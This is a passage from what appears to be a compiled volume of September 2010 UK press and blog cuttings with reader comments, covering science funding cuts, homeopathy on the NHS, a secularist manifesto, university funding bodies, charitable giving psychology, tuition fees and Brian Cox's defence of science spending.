Treasury on science funding are not being based on a wholly accurate picture of the UK's research base.

^2. Willetts is right - John Beddington very clearly stated that he thought the evidence base for
homeopathy "remains highly questionable." In itsEvidence Check report on homeopathy, the House of
Commons science select committee said: "When the NHS funds homeopathy, it endorses it. Since the NHS
Constitution explicitly gives people the right to expect that decisions on the funding of drugs and
treatments are made "following a proper consideration of the evidence", patients may reasonably form
the view that homeopathy is an evidence-based treatment."

Why has NICE not yet evaluated the evidence for homeopathy? Quite understandably, it has limited
resources and greater priorities with a long queue of real pharmaceuticals to evaluate.

^ 3. When a treatment is approved by NICE, NHS trusts are obliged to provide it to their patients. If a drug
is not approved, GPs can still request it for their patients and it is at the discretion of the NHS trust. Willets'
position is no radical shift in this policy but it will be interesting to see if the role and status of NICE is
altered in any coming changes to health policy by the coalition government. Willets was unable to give any
more information but, if you wanted to be strictly fair, health policy is not within his ministerial portfolio.

403 | P a g e
VOLUME 10
Comments in chronological order (Total 11 comments)

scww 17 September 2010 2:53PM


Willetts is decidedly shaky about homeopathy. Patient choice? There is no question of GPs or patients
'choosing' to go against decisions made by NICE. He is completely inconsistent on that one.
The caveating on the 45% figure is relatively understandable given (I presume) the intense jockeying between
govt departments.
I think we — the scientific community — have no choice but to continue to make the case for science as the
engine of discovery and innovation and to make evidence-based noises that the government will hear.
To join the coalition of pro-science supporters, please start at the Science is Vital facebook page.
hydromax 17 September 2010 2:59PM
10 years ago there was significant patient demand for scrapping MMR. Would the coalition have done it then?
OliLondon 17 September 2010 3:05PM
The Government cant have it both ways (and that goes for the general public too). They should either adhere to
the concept of evidence-based policy making or not. Sadly 'twas ever thus that Government policy is more
evidence-influenced than based.
gimpyblog 17 September 2010 3:46PM
It's not within Willets remit to speak on homeopathy. That is a matter for Andrew Lansley & Anne Milton.
Incidentally, Milton's husband (a big cheese in a PCT somewhere), btw, has supported alternative medicine in
the past and Milton herself has made odd comments about homeopathy in parliament.
As the government want to defer decision making to GPs, and make GP practices dependent on market forces I
think homeopathy is the wrong focus here. It's not a question of endorsing a therapy with no evidence. A GP
practice is financially dependent on patient throughput and without top down control over accepted treatments,
regardless of evidence base, GPs may find it compelling and rewarding to offer side services such as
nutritionists, aromatherapists, homeopaths, etc to set themselves apart from rival practices. The real concern
is their belief that the free market should influence healthcare options.
Prawns17 September 2010 3:55PM
To be fair to Willets on Homeopathy he has a point.
Sadly there is wide spread demand for it and if GPs/PCTs want to prescribe it well there are two choices open
to the government: centralise decision making and say no OR allow the GPs/PCTs make the decision themselves.
Given that the Coalition is keen to push for a Big Society de-centralised approach the first option runs totally
against the grain. The latter fits better with their guiding philosophy even if it produces undesired effects
such as GPs/PCTs cowtowing to the patients mores rather than their clinical need.
I can't for the life of me understand how a qualified doctor would wish to prescribe a homeopathic remedy
(unless they believe that as a placebo it will at least get people out of their surgery!) but it is inevitable that
when such decision making is decentralised you will get outliers.
DrMaybe 17 September 2010 4:03PM
Asked to correct a gaffe three times, and evaded each time. Two brains, no spine?
alicerosebell 17 September 2010 4:18PM
Mmm, I'm really interested to see where the vagueness over engagement ends up (also interested in other
issues too, just pulling that out of many).
As this piece mentions, Willetts talks the talk on engagement, but then seems to say nothing but cut. Of
course, we could say the same about science funding in general, a game of weaving two opposing rhetorical lines
together - (a) it's very important, (b) we're not wasting money on it.
Looking at the transcript of the speech, William Cullerne-Bown tweeted last night that it sounded like the
death of engagement. I'm not sure, as the FSA GM dialogue has a rather specific history. Still, William quoted
this back at me "this valuable opportunity to step back and review past dialogues on GM and other areas of
science" and I think he has a point. I wonder if the GM issue will end up being a scapegoat for not funding
elaborate engagement, just as it has been used in the past as one for funding such work. We shall see. Still all
so very vague at present.
Scraggles 17 September 2010 4:45PM
I have one test tube left...... if any scientist is interested?
inquisitio 17 September 2010 6:13PM
" The NHS spends something like £29m on homeopathy.... " This figure is a complete exaggeration. For someone
banging on about science and research you should get your own facts straight to start with- and don't tell
exaggerated fibs. The scientific basis of what is currently on offer through the NHS is deeply faulted. The
very narrow definition of 'evidence-based medicine' that Gimpy and the other members of the homeo-sceptic
404 | P a g e
VOLUME 10
cabal use to constantly nag on, and on, and on, and on about homeopathy is also deeply faulted. Routinely now we
are seeing how the drugs that are currently being routinely prescribed on the basis of EBM are there through
biased evidence bases where RCT's have been selectively mis-used - Avandia being the last example, or the
SSRIs which are now proven to be no better than placebo. What gives Gimpy, Ernst and co. away is that they
say nothing about this far more costly source of revenue loss to the NHS, not to mention the added costs of
the side-effects that drugs like Avandia produce. There is in fact very good patient outcome evidence for the
effectiveness of homeopathy. Prof Sir Michael Rawlins of NICE quite rightly stated in his Harveian Oration 2
years ago that RCTs need to be knocked off the top of the evidence hierarchy pile and interventions should be
assessed on a range of evidence types. Its time for a regime change and a paradigm change. Lets hope the new
White paper ushers it in.
Mloaf 17 September 2010 6:29PM
Is there not a bit of an inconsistency in trying to justify research on the basis of what is "commercially
valuable," or "robust [economic] empirical evidence." Commercial value is a subjective thing. Tulips were of huge
commercial value in 1637. Homeopathy is of commercial value. All that means is you can persuade someone they
want it.
On the other hand, science has to be objective. I find it a bit disturbing that science can only be justified to
the treasury on a narrow basis according to the subjective desires of a small number of financiers, economists
and accountants. Their statement is we can only know things if knowing them is desirable to their small group.
It is not clear to me that that system of belief in economic value is any more compatible with scientific
objectivity than astrology or creationism.
Would the public be concerned if the world view of the treasury turned out to be inconsistent with science?
Should scientists be concerned that by arguing mainly on subjective economic grounds they validate that world
view?
I am a scientist, in part because I think that humans knowing things is important, desirable and beneficial, but I
don't think that because it does or does not aid the short term aims of a small group of accountants.
Jacabsolute 17 September 2010 8:43PM
Well said, Mloaf.

2010/09/18 GUARDIAN CIF EVAN: A


SECULARIST MANIFESTO
The Pope and Sayeeda Warsi are warning about 'aggressive secularism' and 'militant atheists'. Here's my
secularist manifesto Evan Harris

Secularism is unfairly characterised and attacked by religious leaders as a way of seeking to protect their
privileges.

Secularism is not atheism (lack of belief in God) and nor is it humanism (a nonreligious belief system). It is a
political movement seeking specific policy end-points. Many secularists are religious and many religious
people – recognising the value of keeping government and religion separate – are secular.

Secularism seeks to defend the absolute freedom of religious and other belief, seeks to maximise freedom
of religious and other expression and protect the right to manifest religious belief insofar as it does not
impinge disproportionately on the rights and freedoms of others. This is essentially a summary of article
9 of the European convention on human rights. In addition secularism aims to end religious privileges or
persecutions and to fully separate the state from religion which is a necessary means to that end.

A manifesto for secularist change would look like this:

1. Protect free religious expression that does not directly incite violence or crimes against others or publicly
and directly cause someone distress or alarm.

This is why secularists:

405 | P a g e
VOLUME 10
• Led the battle against Tony Blair's over-broad religious hatred bill working alongside some religious
people who wanted the freedom to attack other religions and against some religious organisations.

• Achieved a singular success with the abolition of EnglishChristian-only blasphemy laws.

• Seek to abolish public order offences that lead the police to question religious people for speaking their
minds, short of direct abuse of someone else.

• Oppose a defamation of religion law that has been proposed at the UN by some Muslim-majority states.

• Oppose burqa bans except where it is necessary for security, safety or effective delivery of public services

• Support the right of Muslims to build mosques subject to normal planning rules

2. End discrimination against nonreligious belief systems or organisations by ending their exclusion from:

• Protected religious broadcasting slots.

• Committees that draw up the syllabus for religious studies.

• Bodies that advise the government on matters relating to religion.

3. End unjustified religious discrimination by:

• Stopping faith schools from sacking or rejecting a teacher based on his/her religion or marital status.

• Preventing state-funded faiths schools from discriminating against, and segregating, children on religious
grounds.

• Allowing royals to marry Catholics by amending the anti-Catholic Act of Settlement.

4. Where religious organisations join others in delivering public services, ensure they do so without:

• Discriminating against their employees.

• Withholding services from users on religious or sexual grounds.

• Proselytising when delivering that service.

5. Limit the right of religious people delivering public services (for example marriage registrars, judges,
pharmacists, or care workers) to conscientiously object to carrying out lawful parts of their job to rare and
specific exemptions (eg doctors and abortion) agreed by parliament.

6. Allow for reasonable adjustment to cater for religious practice in employment or in facilities (eg Sikh
turbans in the police force, the hijab or kara in uniform policies, and prayer facilities in the workplace) but
not to extend this to a blanket religious exemption based on subjective feelings, nor to impose religious
practice on nonbelievers.

7. Cease religious inculcation by the state by ending compulsory worship in schools and making religious
education the study of what religions and other belief systems believe, rather than instruction in what to
believe.

8. Disconnect religion from the state by:

• Disestablishing the Church of England.

• Ending prayer in the parliamentary or council chamber.

406 | P a g e
VOLUME 10
• Abolishing bishops automatically sitting in the House of Lords. We are the only country outside Iran to
have reserved seats in parliament for clerics. Religious people can and do stand for election in the normal
way.

9. Resist the imposition of parallel legal systems based on scripture, or the legal presumption that religious
people are any more or less moral than nonbelievers.

10. Work to end segregation of people based on religious dividing lines.

None of this involves anything to do with doctrinal matters such as women bishops, gay priests or Latin
masses, which are matters for religions. Nor does it involve the banning of religious opinion from the public
square.

None of it engages with what families get up to in their home, or religious leaders within their own
families.

If you agree with all the above, while you may be an ardent secularist, you are in no way "militant" or
"aggressive". If you agree with only most of that manifesto, you may well be a vicar. If you oppose it all
then you are probably archbishop material.

The worst excesses carried out in the name of secularism – neither of which are supported by UK
secularists – involve a proposed burqa ban in France and bans on religious dress in Turkish universities.
They are wrong but they hardly rank compared to what is carried out by religious regimes.

2010/09/18 GUARDIAN LETTERS: UNIVERSITY


FUNDING – KEEP IT SIMPLE
Once the business of allocating government money to universities was a very simple business (Overseas
students are vital to our education system, 16 September) – with each university being given a fixed sum
per student. This simple and cheap arithmetical flick of a switch was overseen by the Universities Grants
Committee. This part-time body was, though, abolished in 1989 and since then the UK has evolved an ever
more complicated system to effect this very simple task, so that today we have not one simple part-time
committee, but no less than seven research councils – AHRC,BBRSC, EPSRC, ESRC, MRC, NERC, and STFC –
plus one body to oversee these councils – RCUK – not to mention three overall funding councils for
England, Wales and Scotland (HEFCE, HEFCW, and SFC).

Each of these bodies costs millions of pounds each year (HEFCE alone cost £18.5m in 2009-10) – and then
there is, of course, the cost of the bureaucracy imposed on our universities as they complete endless bids
and forms in a more often than not futile attempt to secure the moneys allocated by these bodies. This
cost of this bureaucracy alone is, according to HEFCE's own figures, £167m a year.

No other country has such an expensive, multiple, bureaucratic, and centrist system. Way over £200m a
year is being spent simply to work out who gets how much. The bodies cited above will claim they have
added many other functions to their original allocation task, but none of these functions are essential.
Remember, our universities worked perfectly well, if not better, before 1989, before a single one of these
11 bodies were invented.

Name and address supplied

407 | P a g e
VOLUME 10
2010/09/20 GUARDIAN SCIENCE BLOG
MARTIN: STEVE JOBS WAS MEAN TO YOU? BOO
HOO

Trainee journalists should learn that getting information out of people is not easy

As a freelance journalist, much of your spare time is spent trying to get information from people who at
best couldn't give a crap about your article, and at worst are actively hostile to the idea of some grubby
writer getting his or her hands on their precious secrets. That a journalism student has had a similar
response from Apple is not exactly unusual.

Take for example this recent response from the Department of Health to a Freedom of Information
request I filed, scripted presumably by the writers of 'Yes Minister':

"The Department neither confirms nor denies that it holds information falling within the
description specified in your request. [...] This should not be taken as an indication that the
information you requested is or is not held by the Department. [...] To be clear, the
Department is not neither confirming nor denying whether the Secretary of State met with
The Prince of Wales, as it is in the public domain that His Royal Highness met with the
Secretary of State on 29 October 2009. The Department is neither confirming nor denying
whether it holds any information within the specific terms of your request - i.e. information
relating to discussions that may or may not have taken place..."

*snip*

"I hope that this reply is helpful."

Wibble?!

Or take this exchange between myself and the British Homeopathic Association. My relationship with them
deteriorated to the point where they wrote a press release about me (you can find my response to that
here).

Even before that, my relationship with their spokesperson Cristal Sumner could best be described as frosty.
While the Department of Health were unhelpful in a stylish and entertaining sort of way, the BHA were just
plain uncooperative, as you can see in the following exchange. Referring to a comment Cristal had made
about homeopathic remedies struggling in clinical trials because they needed to be "individualised" to
specific patients, I asked her:

"does this not apply to the mass-produced remedies made by companies like Nelson's, and
sold off-the-shelf to millions of customers at Boots? These clearly aren't holistic or

408 | P a g e
VOLUME 10
individualised treatments, since patients won't receive a personal consultation or
assessment."

In other words, if homeopathic remedies need to be individualised, surely the mass produced ones are
inferior? The reply was a curt:

"The BHA supports a person's legal right to buy and use homeopathic medicines."

And those are mild examples. I get abuse from people on a weekly basis, like the following:

"You are so dimwitted that you cannot see the wood for the trees, you will still be kissing the
shoes of your muslim overlord's when they decapitate you, that is how stupid and
dangerous you really are. Don't e-mail me again, i have no interest in having a drink with
putrescence like you, if you do i will just delete it."

The point being that if you're going to start out in journalism, you'd better develop a thick skin, because
there's no rule that says people have to be nice, or helpful, or not threaten you with eternal damnation.
For that reason you have to be polite, persistent, diplomatic, and willing to probe a story from many
different angles. What doesn't help is:

 Sending out a seven-paragraph e-mail to a busy person – all e-mails longer than three paragraphs
deserve to be ignored on principle.
 Filling your e-mail essay with snark directed at someone you need help from, and who probably
didn't even know you existed until the contents of your spleen spontaneously appeared in their
inbox.
 Sending the spleen contents to the head of Apple with some gushing comments
about Apple products, but then adding the footnote "Sent viaBlackBerry from T-
Mobile"
 Implying to a squillion-dollar multinational company that they ought to help you because their
quote is "crucial to my grade in the class, and it may potentially get published in
our university's newspaper." Your grades are about as important to me as the colour of the
fluff I just pulled out of my armpit (navy blue - it's always navy blue for reasons I can't explain, if
anyone knows why please leave a comment).
 Putting yourself in a position where your article relies on a quote from Apple to be publishable in
the first place. If you're relying on a quote from a PR guy for the substance of your piece, it's
probably not a very good piece. I mean what are you going to do, just rewrite the press release and
pass it off as an article? You won't get anywhere in the newspaper industry doing ... oh.
 Anyway, hopefully the budding young journalist has learned a lesson or two from her encounter
with the patron saint of small devices you didn't realise you needed until you saw your friend's and
... OOOOOOOHHHHHH*kerching*
 At the very least they've learned the lesson that not getting a quote can be a story too. Which I
suppose is as good a lesson as any for a journalist to learn.
Comments in chronological order (Total 11 comments)
BestLawman 20 September 2010 3:40PM
Here's the answer to your personal lint. Sorry but it's in the Torygraph - http://bit.ly/9RxBQH
BestLawman 20 September 2010 3:41PM
http://bit.ly/9RxBQH
alicerosebell 20 September 2010 3:42PM
At the very least they've learned the lesson that not getting a quote can be a story too. Which I suppose is as
good a lesson as any for a journalist to learn.
Also a good lesson for PR's too though... which I think that key point of techblog post (esp. as press/PR is
where a lot of grads of journalism courses end up).

409 | P a g e
VOLUME 10
alicerosebell 20 September 2010 3:54PM
Also, as I've seen mentioned on twitter already, is this sort of personal rant appropriate now you have such a
large audience on this network? As someone who works with sci/tech student journos for a living, I feel rather
sorry for the one in question. Maybe better kept to blog comments or a more niche blog?
I should stress, this is just a question about role of such blogging on such networks - and not a rhetorical one. I
don't want to be misunderstood and accused of playing blogs vs journalism for a second time this week... :)
Shandar 20 September 2010 4:40PM
Regarding the blue fluff... it's just a pigment of your invagination.
technopeasant 20 September 2010 4:53PM
"I hope that this reply is helpful."
ROFLMAO!!!
MartinRobbins 20 September 2010 5:06PM
@Alice: Is this sort of personal rant appropriate now you have such a large audience on this network? As
someone who works with sci/tech student journos for a living, I feel rather sorry for the one in question.
Maybe better kept to blog comments or a more niche blog?
Tricky. While I take your point, it's not like this was some kid doing a school project, this was a journalist in
her early 20s who got their correspondence published in national newspapers around the world. At that point
I'm inclined to view it as fair for criticism.
In any case I don't think the above is any particularly harsh (and I've not mentioned her by name or university).
It's also worth pointing out most criticism of journalists is fairly blind to how old or experienced they are. If
you think some journalists should be treated differently to others, there's a question over where that line is.
But, that said, it's a bit of an off-topic snark on my part, so maybe I'll reserve these rants for elsewhere...
wtfcuk 20 September 2010 7:22PM
You have a blue towel.
PatrickAustin 20 September 2010 10:05PM
Tell the sender of one of your abuse e-mails that "the shoes of your muslim overlord's" should be:
"the shoes of your muslim overlords".
bloggsie45 21 September 2010 8:53AM
Actually:-
"Your Muslim overlords' shoes"
Overload is usually singular, but the writer thinks that there is more than one in this instance, as is indicated by
the "they", so the apostrophe of possession is placed after the 's' indicating plurality. Note the respect
offered by a capital letter for the religious adjective.
They are obviously in urgent need of a course of lessons on English grammar, and the use of the apostrophe in
particular. Every style guide has a chapter on its use. I'd suggest you send them one. The Guardian's one is
excellent.
Synchronium 21 September 2010 7:09PM
Nice work for the following reasons:
1) You're right
2) You actually used all those non-events and unhelpful replies in an actual article
3) You got paid for it
That's why you bring home the big bucks and get all the ladies, right?
On an unrelated note, your new blog profile pic is terrifying. Time to regrow the beard, I reckon. All good
science writers need a beard, women included.

2010/09/20 EXQUISITE LIFE: WHY IS VINCE


CABLE RELYING ON AN OUT OF TOUCH DAVID
SAINSBURY?
You can't really blame him. It's not his job any more. But looking to David Sainsbury for any kind of insight
into the new government's policies on science seems a pointless exercise given his performance at the
British Science Festival last week.

410 | P a g e
VOLUME 10
First, Sainsbury effectively avoided policy issues in his speech and didn't mention the word "cuts". Was that
diplomacy or a sensible man who knows he no longer has a proper grip on the issues?

Second, Sainsbury seemed unaware that David Willetts exists, let alone that he had said anything about
research policy. In the Q&A that followed the speech, he said all we have to go on is Vince Cable's recent
speech (which is in any case his third touching on this topic by my reckoning).

Third, although aware that Cable had upset some scientists, Sainsbury kept talking about a television
interview rather than the radio interview that actually offended.

Fourth, when pressed in the Q&A, Sainsbury said Cable had said lots of good things but then added, "My
view is you have to actually wait and see in terms of what comes out of the spending review."

There's really no reason we should expect anything more from Sainsbury. He's done his stint. But that does
make the fact that Cable seems to be citing him as a supporter of the government's policy (if true) seem a
bit desperate. As we've seen, it's not the policy approach being advocated by Cable and Willetts that's in
question; it's the political will to see that policy through to it's logical conclusion, as in France, Germany
and the US. That's a question for the spending review and George Osborne. And it's on precisely this point,
the nub of it all, that Sainsbury is witholding support.

PS In contrast to earlier reports that BIS on the verge of settling in the CSR, Michael Crick is
now reporting that it's all up in the air until after the Browne review reports, which seems much more
sensible.

PPS Thanks to Alice Bell for nudge on this.

Posted by William Cullerne Bown

2010/09/20 GUARDIAN SCIENCE BLOG


MARTIN: ONE FOR ALL OR ALL FOR ONE?

Do we relate more easily to individual people in need than to groups? (Guest post by Tessera)

411 | P a g e
VOLUME 10
The 'identifiable victim effect' may
be powerful, but our charitable instincts are more complex. Photograph: Carl De Souza/AFP/Getty Images

Jonah Lehrer suggests that we find it much easier to relate to individuals in need than to groups of people
because of the "identifiable victim effect". He cites the Chilean miners as an example – a group of people
who fail to interest most of us as much as a single famine victim.

Lehrer also mentions a paper which "tested recent claims that analytical processing might undermine
support for identified victims by suppressing emotional responses". It found that "Less-analytic processors
donated more to a single identified victim than to requests describing statistical victims or a combination
of both; more-analytic processors showed no differences."

In other words, less analytical people are more likely to give to an individual or to a campaign using images
of a single person.

While this may be true for some people in some instances, charitable giving appears to be much more
complex – and more interesting – than this. It's true that charities know the value of showing a cute animal
or big-eyed starving child with flies crawling on it (because animals are individuals too in this instance).

But charitable responses to major disasters like the tsunami or the current situation in Pakistan appear to
contradict the identifiable victim response. For example, the British people have given considerable and
unexpected amounts to relief in Pakistan . Does this make us more analytical than other nations? It could
be said that people who give to large groups far away have a stronger emotional response or more
empathy as it extends to more than one individual.

The type of victim is relevant too. For example, a homeless person on the street is an individual,
sometimes familiar and living in the potential giver's neighbourhood. But for many passers-by, when they
are begged at there's a judgmental/analytical process which happens. Is the beggar just going to spend the
money on alcohol? Does s/he deserve our hard-earned money? Is s/he a helpless victim who had no part in
their own downfall?

Women begging on the street with babies are often trying to create an emotional response but some
people may not respond to this, even wondering if it is really that woman's child, perhaps recalling some
media story about begging rings and scams. Any individual doesn't do it for us, it must be
the right individual.

The concept of the deserving poor comes into play and perhaps overrides the individuality of the beggar
and prevents identification; it's an idea that's been around since the 16th century. This is where sad
puppies and starving children score – they are clearly innocent victims. But at some level, there is always

412 | P a g e
VOLUME 10
an analytical process going on before we connect emotionally and decide whether we are being played and
whether to act on generous feelings.

There's also media coverage. The Chilean miners are currently being ousted from the headlines by cricket
scandals and footballers' private lives. What's more, the miners are alive and apparently in no immediate
danger. There's no daily drama or death toll to tug our heart strings.

Time is a factor, too. A long-drawn out situation that appears insoluble is less attractive than a sudden,
unforeseen natural disaster with shock value or something that appears to need a quick(ish) fix where it's
easier to feel a difference is being made.

In addition, Lehrer says that we don't identify with statistics, but I think that numbers do have an effect
sometimes. Perhaps part of the problem is that the miners are neither one small child trapped down a well
nor are there millions of them in imminent danger. There are too many of them and not enough.

It's true that millions of children around the world are daily at risk from preventable disease and hunger
and yet people give money to the local donkey sanctuary because they saw a picture of a poorly donkey in
the local paper, but this is as much about marketing as generosity and empathy. Research by
psychologist Richard Wiseman found that the colour of a charity donation box and the wording on it affect
how likely people are to give, for example. Using the word "disaster" is good marketing, too.

There's possibly also a peer pressure effect. If everyone in your office is putting money into a collection tin,
then resisting is going to be harder than if the tin is just in a shop or you get a mail shot at home. Telethons
tap into something similar: look how much money everyone is giving, don't you want to be part of this
virtuous group too? In such situations, what the collection is for becomes secondary, whether it's to
sponsor a single child or for a major disaster.

For some people, charity is a religious duty, neither an emotional/empathic nor an analytical response.

There is a fair bit of research showing that women are more charitable than men, so gender is another
factor (so are older people and northerners in the UK).

One research paper looks at the gender difference in more detail. It calls the ability to identify or
empathise with others "the inclusion of others in the self". It also looks at moral identity – the importance
of being fair, kind, just, generous etc to self-identity. What it found was that men with stronger moral
identity were more likely to give to individuals or to an in-group (local charities, for example) whereas
women were more likely to give to an out-group (eg overseas charities) as their moral identity increased. In
other words, these women are responding to large groups more than men. Does this mean men are less
analytical?

So it looks like charitable giving and relating to people in need isn't just about individuals versus groups but
is much more complex – which is hardly surprising given that human instincts and motives for doing
anything are complex. And just to confuse matters further, one of the biggest charities in the UK in terms
of giving is the National Trust, which doesn't help humans at all.

Tessera blogs at http://tessera2009.blogspot.com/


Comments in chronological order (Total 6 comments)
LogicLover 21 September 2010 4:12AM
The type of victim is relevant too. For example, a homeless person on the street is an individual, sometimes
familiar and living in the potential giver's neighbourhood. But for many passers-by, when they are begged at
there's a judgmental/analytical process which happens. Is the beggar just going to spend the money on alcohol?
Does s/he deserve our hard-earned money? Is s/he a helpless victim who had no part in their own downfall?
And is this tax-deductible?
GrrlScientist 21 September 2010 9:08AM

413 | P a g e
VOLUME 10
as a former NYCer, i am quite familiar with those in NYC who "adopt" their "local street corner beggar."
shopkeepers provide them w free coffee in exchange for having them tidy the sidewalk, and give them leftover
food after their business closes for the night, some residents in the neighborhood will have conversations with
them, some even go so far as to provide them with access to a shower. i'm not saying that life for the homeless
in NYC is easy -- far from it!! -- but there are people who do what they can (without compromising their own
personal safety) to help those in need.
that said, i find it unlikely that sane people prefer to live on the filthy streets of a large city like NYC instead
of in a relatively safe apartment. a huge majority of these homeless people are mentally ill (thanks, ronald
raygun, may you forever burn in hell for your enduring legacy of blaming the most helpless in society for their
ills), many of whom use alcohol to deal with their otherwise untreated symptoms. others are drug addicts, and a
fair number were abused as children and have a suite of trust issues and other problems as a result.
i have a question for the author of this piece: have any studies been published that look closely at charitable
giving among those who have experienced financial hardship, mental illness or homelessness?
Hejz21 September 2010 11:55AM
why dont they publish a report how much money this charity recieves - and how much are being spend to help
other countries... and how, what and where the money goes. ------ every year you hear millions and or billions
being poured down to help other developing countries... thou yet you still see people with no housing, schools,
hospitals, etc..
Monkeymenace21 September 2010 12:25PM
I really can't be doing with those disaster charties, I believe charity begins at home, so I support charites
which help the betterment of the UK and it's inhabitants.
CharlesMonroe21 September 2010 12:38PM
Great article. As for Monkeymenace and their ilk who ―can't be doing with those disaster charities‖, I just hope
you‘re never involved in some terrible disaster and in need of help from others outside your ―home‖ area.
TomG1 21 September 2010 3:13PM
I'd like to find out if there are any correlations between educational achievement and/or societal class, and the
amount and type of charity donated to.
I.e. do people who support Amnesty International tend to be more educated than those who support children in
need, for example?

2010/09/21 EXQUISITE LIFE: WHAT NICK


CLEGG JUST TOLD US ABOUT STUDENT FEES
In questions at the Lib Dem conference yesterday, Nick Cleggsounded extremely sure about where the
debate is going on fees for undergraduate tuition. He said that abolishing fees would cost about £12.5
billion over the course of a parliament and that the only issue was over affordability.

"The only question is over when we can afford to scrap tuition fees," he said.

He was very deliberate, very precise. It wasn't a matter of if or how but merely of when. He sounded to me
like a man who is confident that the coalition's eventual policy will allow him to hold true to this line. This
suggests he has at least an understanding with David Cameron over the shape of the policy approach to
come, even if numbers and timings are currently missing. But I confess I'm baffled as to what Clegg's words
yesterday really signify.

Clegg's language is more or less the same as he was usingbefore the election. An important difference is
that then he was outlining ways in which fees could be gradually removed over six years. That timescale
was missing yesterday, which Clegg highlighted.

The thing that baflles me is how Clegg is going to deliver on this promise in a way that doesn't ring achingly
hollow. Why would the Conservatives hand a huge hoard of precious cash over to the Lib Dems for a
victory that would be indelibly remembered as a Clegg victory rather than a Cameron victory?

414 | P a g e
VOLUME 10
And Clegg didn't use the word "progressive" that Vince Cable always does when talking about this. Evan
Harris earlier this weekwrote about the "progressive wing" of the Lib Dems for what seems to have been
the first time, suggesting both that political differences within the party are crystallising and that it is the
non-progressives (ie Clegg and co) who are in charge.

Ideas anyone on what policy could make sense of what Clegg is saying?

Posted by William Cullerne Bown

2010/09/21 SCIENCE FUNDING CUTS WILL


DEVASTATE ECONOMY, WARNS BRIAN COX
By Hannah Fearn

One of Britain’s best-known physicists has attacked government plans to severely cut the science budget as
“ludicrous”, warning of a devastating impact on the UK economy.

Professor Brian Cox, chair in particle physics at the University of Manchester and popular science
broadcaster, questioned the government’s financial priorities by arguing that the bailout of the banking
system had cost “more money than the UK has spent on science since Jesus”.

Speaking at the Benjamin Franklin House Symposium at the British Library on 20 September, Professor Cox
admitted that in difficult economic times cuts had to be made somewhere, but warned that more than 40
per cent of the UK economy was reliant on an investment in science.

He said statistics proved that the UK was already “the world’s most efficient scientific nation”, accruing
almost 12 per cent of citations despite just 1 per cent of the world population and 3 per cent of science
funding.

“We already do more with less than anybody else,” he argued. “Almost half our economy rests on
investment in universities and science. Any PPE [philosophy, politics and economics] graduate out of
Oxford should understand it, but there are a lot of them in the Treasury and they don’t seem to.”

Professor Cox also defended spending on pure physics following infighting between scientists amid the
scramble for funding, with engineers claiming that the search for the Higgs boson, the so-called God
particle, would have to wait until science was better resourced.

“I think at the heart of that is a lack of understanding of what the search for the Higgs boson is. It’s in the
main line of science, without a doubt. It’s very definitely not a search for just another subatomic particle,”
he said.

“The impact is huge. The main purpose of science is to make you think, to give you a sense of perspective,
to place ourselves in the Universe.”

hannah.fearn@tsleducation.com
Readers' comments
DrGrumbles 21 September, 2010
Most interesting. I propose a high level analysis of the economy be carried out as a matter of urgency by a
crack team of some of our most glittering C-list showbiz pals from the 90's (Ideally led by Bez, Uncle Peter
from Reeves and Mortimer, and of course Brian Cox).

415 | P a g e
VOLUME 10
Everyone's worried about the cuts, but if a defence is to be mounted it needs to be more robust than the
THES' recent and shrill preaching to the choir.

Lesson 1. Brian Cox will be identified, if he's even recognised by anyone outside of a small proportion of Radio
Six listeners and afficionados of 90's cheese, as a vested interest and as talking outside of his field of
expertise.

Lesson 2. Stop relying on statistics like "40% of the economy is reliant on investment in science". Anyone with
half a brain will immediately question the details of such a vague and easily distorted figure and assume the
academy is trying to pull a fast one.
hugh 21 September, 2010
I can't agree with you dear Doctor. I am pleased that a high profile figure like Brain Cox is making the case
against the cuts. Why you think no-one has heard of him apart from radio six listeners I just don't know unless
you have been sheltering in a cave in Afghanistan. Cox is not jusy a fantastic ambassador for the advancement
of scienctific understanding among the viewing public he is also closley involved with the Cern project. I can't
vouch for the figure of 40% of the economy relying on science. If anything it seems too low. Even in my humble
field we rely on the insights and applications of science
Ian 21 September, 2010
The physicist/admiral/chief constable/disability activist/lawyer says that cuts must be made somewhere but
not in science/aircraft carriers/law and order/welfare benefits/legal aid. (delete as appropriate)
Andrew 21 September, 2010
If a scientist argues against science cuts its dismissed as special pleading. However, if a non-scientist calls for
cuts in science funding that too is special pleading (cutting science stops something else being cut).

Dismissing something as 'special pleading' is a nonsense; consider the arguments not who is doing the arguing.

If anyone still insists on doing so I suggest considering the fact that scientists are not the only ones arguing
against cuts. Several Industry chiefs wrote an open letter to the government in June arguing against cuts to
science funding.
Matt 21 September, 2010
Here's empirical evidence for sustained or increased Research Council funding from Imperial College:

http://www3.imperial.ac.uk/business-school/research/publications/discussion_papers/public_support

"Taken together these findings tentatively suggest that in a world of constrained fiscal spending
government innovation policy should focus on direct spending on innovation, specifically research
councils, rather than through tax incentives, such as the R&D tax credit, to firms."

Jonathan Haskel also estimated that a £1 billion cut in the research councils could result in £10 billion loss of
GDP.

The Science and Technology Facilities Council funds Brian Cox's work at Cern, amoungst many other things.
DrGrumbles 21 September, 2010
"Why you think no-one has heard of him apart from radio six listeners". Perhaps a wilful exaggeration, but no so
much as you're suggesting (and I counter caves in afghanistan with selective bias of the sample you're basing
your judgement on).

Apart from Dawkins, thanks to his talent for sparking media friendly controversy, and Hawking, public figures
in science like Brian Cox, Marcus Du Sautoy et al aren't 'high profile'. They're fringe media figures whose
reach is limited entirely to those already interested in the subject matter. To the vast majority of people they
are at best vaguely familiar. Secondly, just because someone might happily listen to them speak on matters in
their fields, it may well be and probably will be a much different matter when they start talking about the
economy at a time when nearly everyone is justifiably worried about their own situation first and foremost.

As for the 40% figure, the flaw isn't so much in the figure itself but the sheer meaningless of it. Say we
accept that 40% of the economy is dependent on investment in science. Fine. How does that figure break down
through individual fields? What proportion is dependent on 'blue sky' research? Does the figure account for

416 | P a g e
VOLUME 10
both public and private investment? Does it include investment in the private scientific sector? You could just
as easily take Brian's statement as a reason to cut just the 'uneconomic' bits, which despite his later protest
includes things like looking for the Higgs Boson.

However it might seem through the distorting lens of campus life, of all the public sector, universities are one
of the lowest priorities both for government and amongst the general populace. No one out "there" is going to
get all frothy at the mouth about academic redundancies, and no one really cares or even notices much when
academics go on strike. In the great ranking of labour movements' important and connection to the populace,
ours ranks somewhere at the bottom in between the NUS and the most venerable union of ice cream men.

In addition to this, we've shot ourselves in the foot by allowing our universities' PR departments to
patronizingly jazz up press releases to the point where an awful lot of people seem to think that academics
spend most of their time wasting public money producing wacky studies into things as trivial as the skimming of
stones and god knows what else.

In other words: overall we're seen as expendible, wasteful deadwood and far removed from the day to day lives
